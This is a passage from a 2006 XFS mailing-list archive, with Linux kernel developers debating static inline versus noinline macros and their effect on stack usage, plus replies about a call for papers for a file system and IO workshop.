2006 07:57:11 +1000 (AEST) Received: (from dgc@localhost) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5/Submit) id k9HLv60u10015264; Wed, 18 Oct 2006 07:57:06 +1000 (AEST) Date: Wed, 18 Oct 2006 07:57:06 +1000 From: David Chinner To: Tim Shimmin Cc: David Chinner , Russell Cattelan , Eric Sandeen , xfs@oss.sgi.com Subject: Re: [PATCH 1/2] Make stuff static Message-ID: <20061017215706.GI8394166@melbourne.sgi.com> References: <20060929032856.8DA9C18001A5E@sandeen.net> <23F15D6AE8566A54B81188AC@timothy-shimmins-power-mac-g5.local> <45338DDE.8020903@sandeen.net> <4533FAEA.2080500@sandeen.net> <20061016232250.GM11034@melbourne.sgi.com> <1161042943.5723.117.camel@xenon.msp.redhat.com> <20061017005038.GN11034@melbourne.sgi.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4.2.1i X-archive-position: 9327 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: dgc@sgi.com Precedence: bulk X-list: xfs Status: O On Tue, Oct 17, 2006 at 05:13:01PM +1000, Tim Shimmin wrote: > --On 17 October 2006 10:50:38 AM +1000 David Chinner wrote: > >Fix them - inline functions in header files should always be "static > >inline". Inline functions in .c files should always be static as > >well - if they need to be accessed from different source files then > >they need to be in header files. Hence "STATIC inline" is broken > >code and should be fixed anyway. Luckily, there are very few of > >these to fix and they are all in .c files: > > > >chook 137% grep -rIw "STATIC inline" fs/xfs | wc -l > >21 > > So you are saying that "static inline"s should always be. Yup. > So for CONFIG_XFS_DEBUG where we define STATIC and so make static > disappear for uses of STATIC, we will no longer touch these > "static inline" functions. Yup. The function will still get inlined, so changing it's scope on debug builds doesn't provide any benefit IMO. FWIW, for debug builds we probably want noinline.... > I thought that for debug, we could stop them from being inline > for easier debugging. We could have a STATIC_INLINE :-) We could, but I don't think it gains us anything. Cheers, Dave. -- Dave Chinner Principal Engineer SGI Australian Software Group From owner-xfs@oss.sgi.com Tue Oct 17 15:46:52 2006 Received: with ECARTIS (v1.0.0; list xfs); Tue, 17 Oct 2006 15:47:04 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9HMkoaG009972 for ; Tue, 17 Oct 2006 15:46:52 -0700 X-ASG-Debug-ID: 1161125165-3612-624-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from slurp.thebarn.com (cattelan-host202.dsl.visi.com [208.42.117.202]) by cuda.sgi.com (Spam Firewall) with ESMTP id 29602D197BC3 for ; Tue, 17 Oct 2006 15:46:05 -0700 (PDT) Received: from [127.0.0.1] (lupo.thebarn.com [10.0.0.10]) (authenticated bits=0) by slurp.thebarn.com (8.13.8/8.13.8) with ESMTP id k9HMjVUw058978; Tue, 17 Oct 2006 17:46:01 -0500 (CDT) (envelope-from cattelan@thebarn.com) X-ASG-Orig-Subj: Re: [PATCH 1/2] Make stuff static Subject: Re: [PATCH 1/2] Make stuff static From: Russell Cattelan To: David Chinner Cc: Tim Shimmin , Eric Sandeen , xfs@oss.sgi.com In-Reply-To: <20061017215706.GI8394166@melbourne.sgi.com> References: <20060929032856.8DA9C18001A5E@sandeen.net> <23F15D6AE8566A54B81188AC@timothy-shimmins-power-mac-g5.local> <45338DDE.8020903@sandeen.net> <4533FAEA.2080500@sandeen.net> <20061016232250.GM11034@melbourne.sgi.com> <1161042943.5723.117.camel@xenon.msp.redhat.com> <20061017005038.GN11034@melbourne.sgi.com> <20061017215706.GI8394166@melbourne.sgi.com> Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-L9yn1wy1prqtLxRXmmGg" Date: Tue, 17 Oct 2006 17:45:31 -0500 Message-Id: <1161125131.5723.158.camel@xenon.msp.redhat.com> Mime-Version: 1.0 X-Mailer: Evolution 2.8.0-1mdv2007.0 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23493 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9328 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: cattelan@thebarn.com Precedence: bulk X-list: xfs Status: O --=-L9yn1wy1prqtLxRXmmGg Content-Type: text/plain Content-Transfer-Encoding: quoted-printable On Wed, 2006-10-18 at 07:57 +1000, David Chinner wrote: > On Tue, Oct 17, 2006 at 05:13:01PM +1000, Tim Shimmin wrote: > > --On 17 October 2006 10:50:38 AM +1000 David Chinner wrot= e: > > >Fix them - inline functions in header files should always be "static > > >inline". Inline functions in .c files should always be static as > > >well - if they need to be accessed from different source files then > > >they need to be in header files. Hence "STATIC inline" is broken > > >code and should be fixed anyway. Luckily, there are very few of > > >these to fix and they are all in .c files: > > > > > >chook 137% grep -rIw "STATIC inline" fs/xfs | wc -l > > >21 > >=20 > > So you are saying that "static inline"s should always be. >=20 > Yup. >=20 > > So for CONFIG_XFS_DEBUG where we define STATIC and so make static > > disappear for uses of STATIC, we will no longer touch these > > "static inline" functions. >=20 > Yup. The function will still get inlined, so changing it's scope on > debug builds doesn't provide any benefit IMO. FWIW, for debug > builds we probably want noinline.... >=20 > > I thought that for debug, we could stop them from being inline > > for easier debugging. We could have a STATIC_INLINE :-) >=20 > We could, but I don't think it gains us anything. I agree with Tim on this. when I see STATIC in the code it's generally assumed to=20 be a way to toggle of static on/off. Adding static inline=20 to the #define STATIC starts to overload the the macro=20 and creates an obfuscation that isn't immediately obvious. STATIC_INLINE should be fairly obvious. >=20 > Cheers, >=20 > Dave. --=20 Russell Cattelan --=-L9yn1wy1prqtLxRXmmGg Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.5 (GNU/Linux) iD8DBQBFNV0KNRmM+OaGhBgRAvMGAJ9a5VIk7lLtXf12x9n/ngyF0rcNbQCdGMe0 AWpEtccrEFgjtbEZv86lywE= =yonI -----END PGP SIGNATURE----- --=-L9yn1wy1prqtLxRXmmGg-- From owner-xfs@oss.sgi.com Tue Oct 17 16:47:46 2006 Received: with ECARTIS (v1.0.0; list xfs); Tue, 17 Oct 2006 16:47:55 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9HNliaG024083 for ; Tue, 17 Oct 2006 16:47:46 -0700 X-ASG-Debug-ID: 1161124942-5657-356-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from hancock.sc.steeleye.com (stat9.steeleye.com [209.192.50.41]) by cuda.sgi.com (Spam Firewall) with ESMTP id 8DECAD192898 for ; Tue, 17 Oct 2006 15:42:22 -0700 (PDT) Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40]) by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id k9HMeY121609; Tue, 17 Oct 2006 18:40:34 -0400 X-ASG-Orig-Subj: Re: CFP: Linux 2007 File System & IO Workshop Subject: Re: CFP: Linux 2007 File System & IO Workshop From: James Bottomley To: Ric Wheeler Cc: linux-fsdevel@vger.kernel.org, linux-ext4@vger.kernel.org, xfs@oss.sgi.com, reiserfs-list@namesys.com, ext2-devel@lists.sourceforge.net, linux-ide@vger.kernel.org, ocfs2-devel@oss.oracle.com, linux-scsi@vger.kernel.org, lsf07pc@usenix.org In-Reply-To: <4534268E.9030201@emc.com> References: <4534268E.9030201@emc.com> Content-Type: text/plain Date: Tue, 17 Oct 2006 18:40:34 -0400 Message-Id: <1161124834.6245.51.camel@mulgrave.il.steeleye.com> Mime-Version: 1.0 X-Mailer: Evolution 2.2.3 (2.2.3-4.fc4) Content-Transfer-Encoding: 7bit X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23493 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9329 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: James.Bottomley@SteelEye.com Precedence: bulk X-list: xfs Status: O On Mon, 2006-10-16 at 20:40 -0400, Ric Wheeler wrote: > On February 12-13, we have put together a combined Linux file system & > IO 2-day workshop in San Jose, CA. Note that the USENIX File System and > Storage Technologies conference follows us in the same venue, so we hope > to get some interaction between the two groups as well as leverage the > USENIX people to help us get this done. > > For more information, please see: > > http://www.usenix.org/events/lsf07/ Just to clarify, this event is a follow on to the Vancouver Storage summit. Although USENIX is helping us to run it, you don't have to be a USENIX member to submit a position paper. The idea of the position papers is to give the limited number of places (for storage we've got about 20-25 and about the same again for fs) to people who have interesting topics they need to discuss---so if you submit, be prepared to make a presentation of it. James From owner-xfs@oss.sgi.com Tue Oct 17 17:04:05 2006 Received: with ECARTIS (v1.0.0; list xfs); Tue, 17 Oct 2006 17:04:13 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9I045aG026555 for ; Tue, 17 Oct 2006 17:04:05 -0700 X-ASG-Debug-ID: 1161129801-4334-85-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from hancock.sc.steeleye.com (stat9.steeleye.com [209.192.50.41]) by cuda.sgi.com (Spam Firewall) with ESMTP id D898C4B18E0 for ; Tue, 17 Oct 2006 17:03:21 -0700 (PDT) Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40]) by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id k9I009125559; Tue, 17 Oct 2006 20:00:09 -0400 X-ASG-Orig-Subj: Re: CFP: Linux 2007 File System & IO Workshop Subject: Re: CFP: Linux 2007 File System & IO Workshop From: James Bottomley To: ltuikov@yahoo.com Cc: Ric Wheeler , linux-fsdevel@vger.kernel.org, linux-ext4@vger.kernel.org, xfs@oss.sgi.com, reiserfs-list@namesys.com, ext2-devel@lists.sourceforge.net, linux-ide@vger.kernel.org, ocfs2-devel@oss.oracle.com, linux-scsi@vger.kernel.org, lsf07pc@usenix.org In-Reply-To: <20061017232506.36297.qmail@web31805.mail.mud.yahoo.com> References: <20061017232506.36297.qmail@web31805.mail.mud.yahoo.com> Content-Type: text/plain Date: Tue, 17 Oct 2006 20:00:08 -0400 Message-Id: <1161129608.6245.61.camel@mulgrave.il.steeleye.com> Mime-Version: 1.0 X-Mailer: Evolution 2.2.3 (2.2.3-4.fc4) Content-Transfer-Encoding: 7bit X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23492 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9330 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: James.Bottomley@SteelEye.com Precedence: bulk X-list: xfs Status: O On Tue, 2006-10-17 at 16:25 -0700, Luben Tuikov wrote: > The only mentioning of "Vancouver Storage summit" in the web content > therein was, quoting from http://www.usenix.org/events/lsf07/cfp/ : > ... > * Progress reports on implementation of features discussed at the > Vancouver Storage Summit > ... > So by "follow on" you mean "progress report" only? Or will this > event also accept and/or discuss new material? That was only one of the topics ... there are several other suggestions in the list you pulled that quote from. > > Although USENIX is helping us to run it, you don't have to be > > a USENIX member to submit a position paper. The idea of the position > > papers is to give the limited number of places (for storage we've got > > about 20-25 and about the same again for fs) to people who have > > interesting topics they need to discuss---so if you submit, be prepared > > to make a presentation of it. > > Can I make a presentation of this paper: You can submit it as your position paper, certainly. However, the object of this event is not to collect a list of papers to be presented: it's not a conference with hundreds of attendees (if you want to present to an audience, you should submit to FAST, which is such a conference, with which we're co-located). It's a roundtable type discussion with 20-25 people in the field; plus some plenary sessions to get input and ideas from people working on the filesystem layer. The object is to stimulate discussion of important issues (which may be guided by papers or other materials). The position paper thing is only to ensure people actually have things they want to discuss (and to allow the programme committee to pick the attendees if there would be too many). James From owner-xfs@oss.sgi.com Tue Oct 17 17:57:36 2006 Received: with ECARTIS (v1.0.0; list xfs); Tue, 17 Oct 2006 17:57:46 -0700 (PDT) Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with SMTP id k9I0vVaG002310 for ; Tue, 17 Oct 2006 17:57:33 -0700 Received: from snort.melbourne.sgi.com (snort.melbourne.sgi.com [134.14.54.149]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id KAA29781; Wed, 18 Oct 2006 10:56:45 +1000 Received: from snort.melbourne.sgi.com (localhost [127.0.0.1]) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5) with ESMTP id k9I0ug7Y10038693; Wed, 18 Oct 2006 10:56:43 +1000 (AEST) Received: (from dgc@localhost) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5/Submit) id k9I0ue4A10029156; Wed, 18 Oct 2006 10:56:40 +1000 (AEST) Date: Wed, 18 Oct 2006 10:56:40 +1000 From: David Chinner To: Eric Sandeen Cc: Russell Cattelan , Timothy Shimmin , xfs@oss.sgi.com Subject: Re: [PATCH 1/2] Make stuff static Message-ID: <20061018005640.GS11034@melbourne.sgi.com> References: <20060929032856.8DA9C18001A5E@sandeen.net> <23F15D6AE8566A54B81188AC@timothy-shimmins-power-mac-g5.local> <45338DDE.8020903@sandeen.net> <4533FAEA.2080500@sandeen.net> <20061016232250.GM11034@melbourne.sgi.com> <1161042943.5723.117.camel@xenon.msp.redhat.com> <20061017005038.GN11034@melbourne.sgi.com> <45342BF3.8020609@sandeen.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <45342BF3.8020609@sandeen.net> User-Agent: Mutt/1.4.2.1i X-archive-position: 9331 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: dgc@sgi.com Precedence: bulk X-list: xfs Status: O On Mon, Oct 16, 2006 at 08:03:47PM -0500, Eric Sandeen wrote: > David Chinner wrote: > > >>So you are proposing? > >>/* non-debug */ > >>#define STATIC static inline > >>/* debug */ > >>#define STATIC noinline > > > >No. > > > >Currently STATIC is defined in fs/xfs/support/debug.h as: > > > >#ifndef STATIC > >#define STATIC static > >#endif > > > >I'm proposing that gets changed to: > > > >>#define STATIC static noinline This has a pretty big effect on stack usage. These numbers are from an x86_64 build. A negative diff means the function uses more stack space than before (probably a function that was getting inlined): Function OLD NEW DIFF ------------------------ --- --- ---- xfs_vn_mknod 616 200 416 xfs_ioctl 440 <100 340 xfs_inobt_insert 328 <100 228 xfs_bmbt_insert 312 <100 212 xfs_vn_symlink 376 168 208 xfs_dialloc 360 152 208 xfs_bmapi 552 344 208 xfs_symlink 280 <100 180 xfs_change_file_space 376 200 176 xfs_write 264 <100 164 xfs_bulkstat 264 <100 164 xfs_page_state_convert 344 184 160 xfs_bunmapi 376 216 160 xfs_ifree 248 <100 148 xfs_bmap_add_extent 280 136 144 xfs_getbmap 232 <100 132 xfs_attr_remove 232 <100 132 xfs_iomap_write_direct 216 <100 116 xfs_fs_cmn_err 216 <100 116 xfs_bmbt_delete 216 <100 116 xfs_bmap_add_attrfork 216 <100 116 xfs_attr_set 216 <100 116 xfs_cmn_err 208 <100 108 xfs_iomap_write_allocate 200 <100 100 xfs_inactive 200 <100 100 xfs_bmap_extents_to_btree 200 <100 100 xfs_alloc_insert 200 <100 100 xfs_setattr 184 <100 84 xfs_mkdir 184 <100 84 xfs_inobt_delete 184 <100 84 xfs_dir2_grow_inode 184 <100 84 xfs_create 184 <100 84 xfs_bmap_add_extent_unwritten_real 184 <100 84 xfs_alloc_file_space 184 <100 84 xfs_alloc_delete 184 <100 84 xfs_qm_dqtobp 248 168 80 xfs_vn_unlink 168 <100 68 xfs_vn_setattr 168 <100 68 xfs_vn_rmdir 168 <100 68 xfs_vn_rename 168 <100 68 xfs_rtallocate_extent 168 <100 68 xfs_probe_cluster 168 <100 68 xfs_da_do_buf 168 <100 68 xfs_attr_shortform_to_leaf 168 <100 68 xfs_alloc_fix_freelist 168 <100 68 xfs_acl_allow_set 168 <100 68 xfs_attrmulti_by_handle 168 104 64 xfs_vn_link 160 <100 60 xfs_acl_vtoacl 160 <100 60 xfs_acl_vget 160 <100 60 xfs_acl_setmode 160 <100 60 xfs_readlink 152 <100 52 xfs_link 152 <100 52 xfs_iomap_write_unwritten 152 <100 52 xfs_growfs_rt_alloc 152 <100 52 xfs_dir_replace 152 <100 52 xfs_dir_removename 152 <100 52 xfs_dir_lookup 152 <100 52 xfs_dir_createname 152 <100 52 xfs_dir2_leaf_getdents 152 <100 52 xfs_da_shrink_inode 152 <100 52 xfs_da_grow_inode 152 <100 52 xfs_corruption_error 152 <100 52 xfs_zero_eof 168 120 48 xfs_growfs_rt 168 120 48 xfs_trans_init 144 <100 44 xfs_dir_canenter 144 <100 44 xfs_remove 136 <100 36 xfs_growfs_data 136 <100 36 xfs_fs_fill_super 136 <100 36 xfs_dir_init 136 <100 36 xfs_dir2_node_addname 136 <100 36 xfs_bmbt_newroot 136 <100 36 xfs_bmap_local_to_extents 136 <100 36 xfs_attr_rmtval_set 136 <100 36 xfs_attr_rmtval_get 136 <100 36 xfs_attr_leaf_to_shortform 136 <100 36 xfs_attr_leaf_inactive 136 <100 36 xfs_iomap_write_delay 296 264 32 xfs_zero_remaining_bytes 120 <100 20 xfs_trans_unreserve_and_mod_sb 120 <100 20 xfs_rmdir 120 <100 20 xfs_log_unmount_write 120 <100 20 xfs_free_extent 120 <100 20 xfs_file_readdir 120 <100 20 xfs_dir_ialloc 120 <100 20 xfs_dir2_sf_to_block 120 <100 20 xfs_dir2_block_getdents 120 <100 20 xfs_difree 120 <100 20 xfs_bmap_add_extent_hole_real 120 <100 20 xfs_alloc_rshift 120 <100 20 _xfs_trans_commit 328 312 16 xfs_rename 248 232 16 xfs_qm_dqiterate 136 120 16 xfs_mountfs 136 120 16 xfs_iomap 152 136 16 xfs_attr_fetch 168 152 16 init_xfs_fs 112 <100 12 xfs_vm_direct_IO 104 <100 4 xfs_itruncate_finish 104 <100 4 xfs_inumbers 104 <100 4 xfs_inobt_rshift 104 <100 4 xfs_iflush 104 <100 4 xfs_dir2_node_removename 104 <100 4 xfs_dir2_leafn_lookup_int 104 <100 4 xfs_dir2_leaf_addname 104 <100 4 xfs_dilocate 104 <100 4 xfs_bmap_last_before 104 <100 4 xfs_attr_leaf_split 104 <100 4 xfs_rtallocate_extent_size <100 104 -4 xfs_fssetdm_by_handle <100 104 -4 xfs_bmap_add_extent_hole_delay <100 104 -4 xfs_attr_leaf_freextent <100 104 -4 xfs_zero_last_block <100 120 -20 xfs_rtallocate_extent_near <100 120 -20 xfs_ioc_fsgeometry_v1 <100 120 -20 xfs_ioc_fsgeometry <100 120 -20 xfs_attrlist_by_handle <100 120 -20 xfs_alloc_insrec <100 120 -20 xfs_qm_dqalloc <100 136 -36 xfs_inobt_insrec <100 136 -36 xfs_hex_dump <100 136 -36 xfs_bmap_add_attrfork_local <100 136 -36 xfs_readlink_by_handle <100 152 -52 xfs_bmbt_insrec <100 152 -52 xfs_inactive_symlink_rmt <100 168 -68 xfs_cluster_write <100 168 -68 xfs_alloc_delrec <100 168 -68 xfs_ialloc_ag_alloc <100 184 -84 xfs_attr_remove_int <100 184 -84 xfs_inobt_split <100 200 -100 xfs_inobt_newroot <100 200 -100 xfs_inobt_delrec <100 200 -100 xfs_free_file_space <100 200 -100 xfs_bmbt_split <100 200 -100 xfs_bmbt_delrec <100 200 -100 xfs_bmap_add_extent_delay_real <100 200 -100 xfs_attr_set_int <100 200 -100 xfs_cleanup_inode <100 208 -108 xfs_bmap_del_extent <100 216 -116 xfs_bmap_btalloc <100 216 -116 xfs_find_handle <100 248 -148 So this may help a lot with stack usage, but what it does to performance will be an interesting question.... Cheers, Dave. -- Dave Chinner Principal Engineer SGI Australian Software Group From owner-xfs@oss.sgi.com Tue Oct 17 18:24:32 2006 Received: with ECARTIS (v1.0.0; list xfs); Tue, 17 Oct 2006 18:24:46 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9I1OUaG005814 for ; Tue, 17 Oct 2006 18:24:32 -0700 X-ASG-Debug-ID: 1161132613-30930-837-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from web31803.mail.mud.yahoo.com (web31803.mail.mud.yahoo.com [68.142.207.66]) by cuda.sgi.com (Spam Firewall) with SMTP id 1A33FD198E24 for ; Tue, 17 Oct 2006 17:50:13 -0700 (PDT) Received: (qmail 97511 invoked by uid 60001); 18 Oct 2006 00:50:13 -0000 DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com; h=Message-ID:Received:Date:From:Reply-To:Subject:To:Cc:In-Reply-To:MIME-Version:Content-Type:Content-Transfer-Encoding; b=n+ubCm+JUlEA3v5Q1yV42H6oPArnlvtm5d6Fti2Pr8vvN94MMGGhjs+A1Af7jXDv4dUIjwnMn4El8DEjRPiSV/LCDMV8IbHb6H9GgWa2h0Oz1v4C2XYUKU3hmm8HHhTRBGI8m67mBBHfNccNNi/2omjIP/aZPmbAYsK/YUlT5Fg= ; Message-ID: <20061018005013.97509.qmail@web31803.mail.mud.yahoo.com> Received: from [64.215.88.90] by web31803.mail.mud.yahoo.com via HTTP; Tue, 17 Oct 2006 17:50:12 PDT Date: Tue, 17 Oct 2006 17:50:12 -0700 (PDT) From: Luben Tuikov Reply-To: ltuikov@yahoo.com X-ASG-Orig-Subj: Re: CFP: Linux 2007 File System & IO Workshop Subject: Re: CFP: Linux 2007 File System & IO Workshop To: James Bottomley Cc: Ric Wheeler , linux-fsdevel@vger.kernel.org, linux-ext4@vger.kernel.org, xfs@oss.sgi.com, reiserfs-list@namesys.com, ext4@lists.sourceforge.net, linux-ide@vger.kernel.org, ocfs2-devel@oss.oracle.com, linux-scsi@vger.kernel.org, lsf07pc@usenix.org In-Reply-To: <1161129608.6245.61.camel@mulgrave.il.steeleye.com> MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23502 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9332 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: ltuikov@yahoo.com Precedence: bulk X-list: xfs Status: O --- James Bottomley wrote: > You can submit it as your position paper, certainly. It is not a "position" paper. There is too much SCSI Architecture Model (SAM) in it. But from linux-scsi point of view I guess it is. > However, the object of this event is not to collect a list of papers to > be presented: it's not a conference with hundreds of attendees (if you > want to present to an audience, you should submit to FAST, which is such > a conference, with which we're co-located). It's a roundtable type > discussion with 20-25 people in the field; plus some plenary sessions to > get input and ideas from people working on the filesystem layer. The > object is to stimulate discussion of important issues (which may be > guided by papers or other materials). The position paper thing is only > to ensure people actually have things they want to discuss (and to allow > the programme committee to pick the attendees if there would be too > many). Ok, so this is targeted at the same 20-25 Linux people who attended the "Vancouver Storage summit" and you're just using FAST to co-locate. I incorrectly assumed that this was targeted at storage professionals not necessarily Linux related, but with Linux exposure so as to hear new ideas and pathways. I also missed to see the "by-invitation" clause at the top. Thanks for the explanation! Luben From owner-xfs@oss.sgi.com Tue Oct 17 18:34:44 2006 Received: with ECARTIS (v1.0.0; list xfs); Tue, 17 Oct 2006 18:34:54 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9I1YfaG007249 for ; Tue, 17 Oct 2006 18:34:44 -0700 X-ASG-Debug-ID: 1161131107-12564-201-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from web31805.mail.mud.yahoo.com (web31805.mail.mud.yahoo.com [68.142.207.68]) by cuda.sgi.com (Spam Firewall) with SMTP id C5B754B1C26 for ; Tue, 17 Oct 2006 17:25:07 -0700 (PDT) Received: (qmail 36299 invoked by uid 60001); 17 Oct 2006 23:25:06 -0000 DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com; h=Message-ID:Received:Date:From:Reply-To:Subject:To:Cc:In-Reply-To:MIME-Version:Content-Type:Content-Transfer-Encoding; b=XhvXJ3PBfxi26YoTpOabzGEvqeNN8V/F705XllwW7NABvUWg9s13xMc+Gw/eL1KccciqM5O7g9+yZfI2wUUH8bjQqjcVNIg3UdsCP03Rvc2BOAYU2zSxeKtDnw9qPCqbdtTmFA1NpFGbc7G2/sjEtqWEjd6hyLkLkKtxj1vVDxg= ; Message-ID: <20061017232506.36297.qmail@web31805.mail.mud.yahoo.com> Received: from [64.215.88.90] by web31805.mail.mud.yahoo.com via HTTP; Tue, 17 Oct 2006 16:25:06 PDT Date: Tue, 17 Oct 2006 16:25:06 -0700 (PDT) From: Luben Tuikov Reply-To: ltuikov@yahoo.com X-ASG-Orig-Subj: Re: CFP: Linux 2007 File System & IO Workshop Subject: Re: CFP: Linux 2007 File System & IO Workshop To: James Bottomley , Ric Wheeler Cc: linux-fsdevel@vger.kernel.org, linux-ext4@vger.kernel.org, xfs@oss.sgi.com, reiserfs-list@namesys.com, ext2-devel@lists.sourceforge.net, linux-ide@vger.kernel.org, ocfs2-devel@oss.oracle.com, linux-scsi@vger.kernel.org, lsf07pc@usenix.org In-Reply-To: <1161124834.6245.51.camel@mulgrave.il.steeleye.com> MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23501 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9333 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: ltuikov@yahoo.com Precedence: bulk X-list: xfs Status: O --- James Bottomley wrote: > On Mon, 2006-10-16 at 20:40 -0400, Ric Wheeler wrote: > > On February 12-13, we have put together a combined Linux file system & > > IO 2-day workshop in San Jose, CA. Note that the USENIX File System and > > Storage Technologies conference follows us in the same venue, so we hope > > to get some interaction between the two groups as well as leverage the > > USENIX people to help us get this done. > > > > For more information, please see: > > > > http://www.usenix.org/events/lsf07/ > > Just to clarify, this event is a follow on to the Vancouver Storage > summit. The only mentioning of "Vancouver Storage summit" in the web content therein was, quoting from http://www.usenix.org/events/lsf07/cfp/ : ... * Progress reports on implementation of features discussed at the Vancouver Storage Summit ... So by "follow on" you mean "progress report" only? Or will this event also accept and/or discuss new material? > Although USENIX is helping us to run it, you don't have to be > a USENIX member to submit a position paper. The idea of the position > papers is to give the limited number of places (for storage we've got > about 20-25 and about the same again for fs) to people who have > interesting topics they need to discuss---so if you submit, be prepared > to make a presentation of it. Can I make a presentation of this paper: Serial Attached SCSI, An Architecture For Linux --------------------------------- This paper would start with an overview of SCSI (SCSI-3, that is), its object oriented nature and why such is the direction of SCSI. Then an introduction to SAS from this SCSI point of view will be given, i.e. where it fits in the object oriented model, why and how. There may be very little SAS technical introduction--a couple of sentences, something anyone would understand and something sufficient for the latter sections of the paper. Then an introduction to SAS as an architecture in a SCSI stack would follow. A layered, object oriented model will be presented, similar to the one found in my code. This will be accompanied with a SCSI "architectural roadmap", the how and why the architecture. Then an overview of pure-SCSI drivers would be given (at this point the paper talks about implementations at each layer of the storage software stack). Those are implementations which hide the transport layer completely in their firmware, and present a pure SCSI "picture", a la SAM, to the OS. How and why they do it and why it is better. Then the paper would talk about what unifies those implementations, how it can be done, and why it should be done this way. An introduction to SDI, SCSI Driver Interface, would be presented. There would be a section on a SCSI/ATA Translation, SAT, and a SAT Layer (SATL). Where it fits, how and why. What its interface is and why. The paper would include pictures and figures as necessary to show layers, object oriented concepts and the like. ---------------------------------------- The thread is here: http://marc.theaimsgroup.com/?t=114197580200002&r=1&w=2 Luben From owner-xfs@oss.sgi.com Tue Oct 17 19:34:26 2006 Received: with ECARTIS (v1.0.0; list xfs); Tue, 17 Oct 2006 19:34:32 -0700 (PDT) Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by 